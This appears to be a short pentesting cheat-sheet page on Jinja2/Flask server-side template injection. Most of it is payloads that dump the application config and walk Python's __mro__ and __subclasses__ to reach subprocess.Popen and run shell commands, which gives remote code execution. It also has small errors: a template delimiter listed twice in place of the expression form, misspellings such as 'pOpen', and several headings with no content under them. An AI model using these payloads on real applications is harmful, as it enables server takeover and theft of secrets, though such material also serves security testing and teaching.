jinja2 flask template injection

Info

  • Method Resolution Order (mro): allows to go up the inherited objects chain

  • subclasses: going down the inheritance chain

Jinja2 template formts:

  • `{% ... %}`

  • `{% ... %}`

RCE Methods

subprocess.pOpen method

# print all config vars
{{config}}
{{self.__dict__}}
{{config.items()}}

# find the mro object[X] to list all subclasses
{{ ''.__class__.__mro__ }}
{{ ''.__class__.__mro__[X].__subclasses__() }} => list of all subclasses

# find subprocess.pOpen class
{{ ''.__class__.__mro__[X].__subclasses__()[XXX] }} => <class 'subprocess.pOpen'>

# RCE
{{ ''.__class__.__mro__[X].__subclasses__()[XXX]('id', shell=True, stdout=-1).communicate() }}

More styles

brute-RCE (without guessing mro class)

Bypass restrictions (1)

Bypassing restrictions (2)

References

Last updated

Was this helpful?